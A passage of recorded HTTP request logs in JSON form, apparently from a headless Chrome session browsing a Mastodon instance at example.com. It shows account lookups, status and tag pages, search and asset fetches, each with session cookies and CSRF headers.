_mastodon_session=wjCgsZ2LULZeRy1xUcJtGn3ow5A5fSLS%2BnhuFU99JC10Z8wFR2exy%2FYkBrzX43hbbLLPiSKtFV0sOxDfMQ0jwBsf7TwXrRRrmIjOuo%2BLy5ytSmS37dobvsNk0kumq7X6HOfaA%2F9vrGGcrs06uU5opasPlfTHX5tAi%2Biw0%2BOHUN20vW%2BAV1gdP6lFRFz1c6q2ZSh5NW16JWveRwk68YctZobyaSFPgtI%2F%2B2idskh%2B1QJx640rRAVAf69tJCQWur3n%2BvOn7GSMMMTDJvRadmM%2BTlsADyG32ycyNhdP3TYcPJnIV9Av1yTFhcJyurh7nniHXDZOfDGtVvQBgqq5pi7QMNJ3VV78HxF5BezJqMcoEAT3KmgdUo2P%2FSZzG%2BDrjDkDFp3Her8zwBzX--gS5YEXYAUHPp9vf4--BMN2zjGddSKMAOIPcjPzqA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMDQ0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--aa61febdb5d1576ced2969a701bad6f6148175f8; _mastodon_session=KBs4igKGz3OqdzEnnUxk%2F8V92Sgb5A3CZoaWuQkYwHEcdZNtYWornZm25ZsXIz5LRfChDBU4MJoZZAfj3%2FoyKiFku%2BjLBKMkpug58MjMR5szf5yLSiQpQ50%2BghS7N4LGFX1zF3UH3asRqcYsbeanHqLGNrtM73sc7pHyE2MN811KSXcL%2B%2BPhYhh8IPQxNlltu1soEdDLQCRukIUCM%2F7vtj29haKUDW%2BZ95u9IxiRFXYrFL6C0XNEn%2FQHRM4XOhLhFl24nHJUbfMF4Hy%2Bci72rZf1D1Su6vXTuGvpNKK3aalSn0oFf%2BUqPg3JnhCHzXpzqspK%2F9V21WveNoyztif8b%2FvavsrWEG%2BVIvoK8U4V%2F7m%2BA%2BzkqVx2KKdqR00sO0SYIPOsHQzD8m%2Bp--otqlKd1r1pQjRPaM--lc8Z6ahsj%2BiqbtvJSlrXwA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?exclude_replies=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589325674471006/statuses?pinned=true", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Kdz6DOfyLxHrd5-FZG4VpsB9_UD2rYMs8c5LvKCcJezPYaU2qrBrHNws0aY6Jx0_xXJurAEw1y1Jv15Eo19bdQ", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/plain, */*", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9836eadc75881158169d2c375c18b0c43f0c7fd5; _mastodon_session=L5SxrnuL1rfcnwTpTV1YbhmKRSPxVfLgHp4bSYaPKjScdjKvS7IaWgAgaURoYxAxHjvDszIbCxu434GPuqY1C41ElzanEmd20lUi%2FuNyR%2Fyh%2FkZX%2BxHJ3CNY9WgyDbbvddbj9aFQaFWvkbLNELRPoSGt%2BC2vEL%2Bgkp64ziyab5jCDrOrJeXlr6atdueeAbtVKZ8I4rDOIk1r6PzV%2BQPsUZJ%2F8wbOWoX5zUjyAQuu%2FGYcWU%2FRm3Dr9Q9ZSdWunuNP2IrFTTRRnlZ%2FGrlcatjDC4ZLwa5klQ6n1Q%2FPwzb%2FGZCaLgeo%2BPAbQRScla%2BG3Uhgimh%2BUVtyHCqDTAQFsALx4yP8MgJql61eD0I81DPDpAAPi2h0eCKC0mWpc5bJ4XSX3EZ2%2FFvCp9JC--Wi634MwP2LuJ4Tbi--zpl%2BnOA8iPGnSTrURh5VFA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/tags/python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuMjY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--854beace6a0a8d7da422c356dbc1518be180b139; _mastodon_session=rrsqAGrZeRwET%2F%2BbCcBEn0YKN%2BH32FsTGMN%2FELBzPURLDL%2FfQtlA2X57dJCilXjkuSUBii9W3JyB%2FCH1Ax2U08o5%2FQ0LvnLfkqg5aUHmlz8Lz5b%2F4MCgMyKjytRDniRzRAjMfjDIVhOQE%2BmMLxrvErKMQSB3QVlE7lrv6%2FLW64x695mYeKkQ2xlStFS7AodfYgrjCRE8DwtScPmgW%2FN0oPrTCfNkcZv0aAdHuDhq9nK%2BU6Mkq31aPGCTV0vbdRBgf8HGTuJXn%2F%2Fp9RyxHNCxItTCqED84hliKqRM3Q0Z%2Fduy4PCHFgSo8R%2BYoftw3DxnXGy4yiuTNX0DIh%2FNEOrwKfGhJ0NNfKjKTxyo8YutLZaH98n%2BWGKFsnAcrKwxXuoYrIaQ6d%2Fz2tAk--dglBlHFKrjt5Y3yv--VCnKkhOH6JdcjCTG8Eg2Yg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTEuODcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe77ef3c04ecd966362e7ac5d7e7a10ddc840123; _mastodon_session=SdyZCz8ZXG8FQiSBtPtmKZO9ZC%2BUFbWmrQvbCakTmfrAFg5Fd9gXerynUiXh9qdq7BEB3fI0W8ms%2FV2pu5e%2Br1tqIB05tDxNGDTmIc3J%2BDlaTLeU4dF5BJjQnaFjPeZgOReKDp%2BLzGd8yuWu9QSE6PYHuX3%2BRkLN4E4FKn1zcT8zce%2BBjGiGF7ZGVs55N9xAigu7%2FCSZeROZyUZl%2BJIT6o5fbk%2BES42bo5iR8rm%2FRGrl7JG1PAfc%2B25Ij0DfWXSLgyXY51CbUwDF%2FGgvVexJlWT6P36cFUWm0ilToLapm0uJ7OFl%2F6CWrHp47XFitbgNzyBWNSvhyAK1Yfe4FqRtDa%2BELxTEMxGqDRhaKpvV2%2FjXF1NZdV4ULrLDNujWcc%2FGEPgYWtAR9gLf4llyHC2Tm2VRaKMY6XgOTIC9qC1ZYqAKJN1YcCtQ07S0uzNHP9saVAiJzsg%3D--l9r0GmkTc07BxG%2F9--ExelfGKY22w0pINg0fOrJQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/public", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTIuOTU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--683a55a2b8eda90efbd6ae4bbe31d7d9ca48e88d; _mastodon_session=tSJo%2Fx32D26MK2pXSa7ZEHRpp0tM%2B%2BVc4XVKomVjhaABNseGev22E6ugNfHN5UG5TARH9MJi%2B9ciYqzrb0m2oToqGsG5TDlwxZqQUKOF7Ggw6Gb3V4VX%2BXWkZ08vTUAAoV%2FrniSKFH9%2F%2B47q3FDSWLfo04SnLQreAnzU8wN9298iX0qiZ3nPoyH9AvLPD9QgwZW7H3fNzDcPDJMtr6aBrTBSvF3jLCQw%2BUcnGvN7nsQ1%2BajGuX12AV9tg1QodstD5RBxvfUF9HRp4XJ1yw8wF9jFh%2BXjN6FqLpJwf16u169q%2BE52rBiGSqYVaPol8HQ%2Bd3%2F1FEZV%2BdkREAuZwxDPDqcuuwPvwNfnM1CR5Qi4GehuOkPEqOSXZaFB8aNWaTksnZcl6GFoBdJf2sUIGNYzHmwqqZJkeD7iy8OOjHoGo3gyTreiQnluiEkF4k0Nff3mNItrARE%3D--rL5XCAUKDmsD%2Fox9--xyTP52phnwqw14ZClnEGZQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTMuNzc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--09901d122b1f0c7c683796ebdea11de605cc29ba; _mastodon_session=kQHrbvwxWCj4T6n8IDRA5klVl07ETA4MxN0d6cOMeF05%2BjfKktPnjJEsqbdQ1OCS5GMYQDu3roHX9m2NfxOAP0be%2BuAq0%2FRiwmE30nrslxb%2BLCxfXg1CyW%2F4z3QFgeKLTwSfUIGaRAkgQnXd6uF%2BljI7VTO0dgB0e3gCQTpBIAXE97QzT0NOxjsHrZ0eFyg2vUNMndRiV5oAopriJBbEa5DhA8Ht4ix46i7UX5MLCn3JT5C17cCu5aYa0NSGFSkcjurmPGWOg%2FxL%2BnYc0OYWMSEBqcoB8w5G0evOn1uvYPBDKe6Km8uPWEADZ7CjU37runmFcEqfMlbY7KIVGtd69FrgfdSQ7F620Ib9tZESpy9yCi9kWyTe0Qted3nOx4pLHR2Sc8YlByd5VNtU1sFitXAuCNMfgU3YOpWMw%2FUYfUOzcGAaMaKNFRBVxLC2pysmDs37MKU%3D--PrwL1WvN6zrtqF60--yVxGdANAgpjRYrj8vjWzrQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/@alice@remote.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqWmlabVkzTVdZMVlURXpZelkwTTJFelpUazNZVGcwTW1ObE1XRTJNV1UwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDA6NTQuODcyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d3ad55402c589859ac3107b7a26c9119d14edc64; _mastodon_session=F%2Fn3sqTYIrpiYRK3qiovkEFHpDLBxaF0QeobKHJrWn3JCVtCYu7uGel0gd1JKYCGVegFpaAnpACD75kmaLg2VQX8Qkx2RWM3RGSFcGhZlD9e54iTdSQEdcdeyCGgqDiZ6R9%2FY2M3upo3ttT76rdlWBRiT9Q5bQOSdNtlJBbNshpmeADwI5JLIWM0QVtlbY6t8Oje5Lq8hIrbp1OnVC9p%2BZgwsOhqjX%2BwVZCpMlCaDqAxxhhxNVITSaci3sTuFckVLjhHS4EIHqwXUOWmC5HNfukvm%2FH2i7WVMhb5VUk%2F%2Bvgn6JrgdB71sqfTsuEkwsktT9AT1gRhHfvXVAmFMFBqzEvpdqqiVFv3QmmKkTsbeKr35wn%2BpL%2FUu3gNCPHfPimAcj2EnO9iERazZOfouSJ2aywWwH%2FrwWwT8wl%2F%2Ff0FWoThYgSp8AxwASvPn39VMlGTu9uoKEw%3D--%2B1MDJtbC3oIMPFI1--BBnKBn0Kpn5rEEemOhcRAw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/themes/default-DkDM-a1D.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=VFDMBBIjtaRar6CwZKjB49Tn79pZYZHzEkfeRf6k%2FWviFN1Xvx1ozEsPaMsNL4ZEJyX70zlbwTLhjeUiLR991pdb9vdScnTvnis7ifM2CpavXW8U8%2B9G8TveVPIcNKkmWyX7luJZpPxPUdkL%2FFHJco421ZgnZAE8INDRu42KQaIvL73PYj6%2FTUi48Ir1HLOchIW9e6FB6LP4PVelIGCgFIvswznKjy%2FdVJP%2ByEwkHlmWI0CcxO5pExJcGJ5c1HtKxLZMAVOHdTYm2pBSXOx1UVGlSbPCkOzbjg%3D%3D--O0rilVmLNphphIBu--mF%2BB7oesaIu8ghYOttQxxA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSTRNMlJsTmpZMk1UVTNNelk1Wm1RMllqUmpaR1ZrTUdSaE5UUTBNRFV3SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MTEuMTA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8f62ff1df9fa574bfddeccc9a1b78fc315de788e; _mastodon_session=0Fk90wqdTTgZyid01PXnwV77POyvxjB2%2B4VLhJqShA6kJ72vvDVcMamz5ciDpr3nhLyU%2FtgAxbzPgOQjuSBPu8DZJKihgNtHsLC%2BnEM28CAUiJSDbcPs4rsUpccpHn8TTsobEdc%2FlntgX6gDsK7rEWDJSSv29zVLTHSGdII%2Fo590u1X2XQyPxoqJLfvGR9GgyWxOmpn9p5VnZlWB6cZM1s3NRUeJmQpWaZftGRY8bckAQBsYYjzxz616odgcmaP1jxxIFkVC4WWD2sb4l6Y03gCeNn77GZPzCdhFqM0BbeV9dJWiqooQ70Fzw4Yf6vaEMXIgBOpBzEUv2AX7MazeAMS4px%2BJDuhDuoXfALaCfNKm7aS3Rte27YznvF%2F4peEtVUASI%2BW2pXpJ--dMe3B9EzsQX0gvC%2F--SS8hCi3KejM5GikirX4lGA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/common-lwvm9nKJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=jDhNSab96xZL6Vv5%2Fz1kvMfnPisZP23Ed0L0eOSOzUdJbEdd58YgH7IsWol1MfuHROk1LmAdi1zd0uMCsNYTygmBnGlJQIDHLC7y%2Bwah9VKZUrHZe8Yg%2B%2Bf9KVnWQkaGZG3S248jMnMZgvdfkBcirpcS2%2Bfy8BP0E7atXitar0hzqTR4KMIUd1qsqXTVF%2FdjzDJ8XAsvgdebIrJ%2FvHOID%2FGcGWzprsxIYTV1MUXbXu0Sh%2BeCPfY80i6STDQGM20vnpIMmkCrQWAM4P4UmFz%2FXSYzFM27ARoj%2BQ%3D%3D--RhTnjzTJ4Cjf7eis--QLxoOakmfr7z9sRFGCgNOg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/skip_links-DIHZBkdS.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-router-dom-C1dtKQUg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; 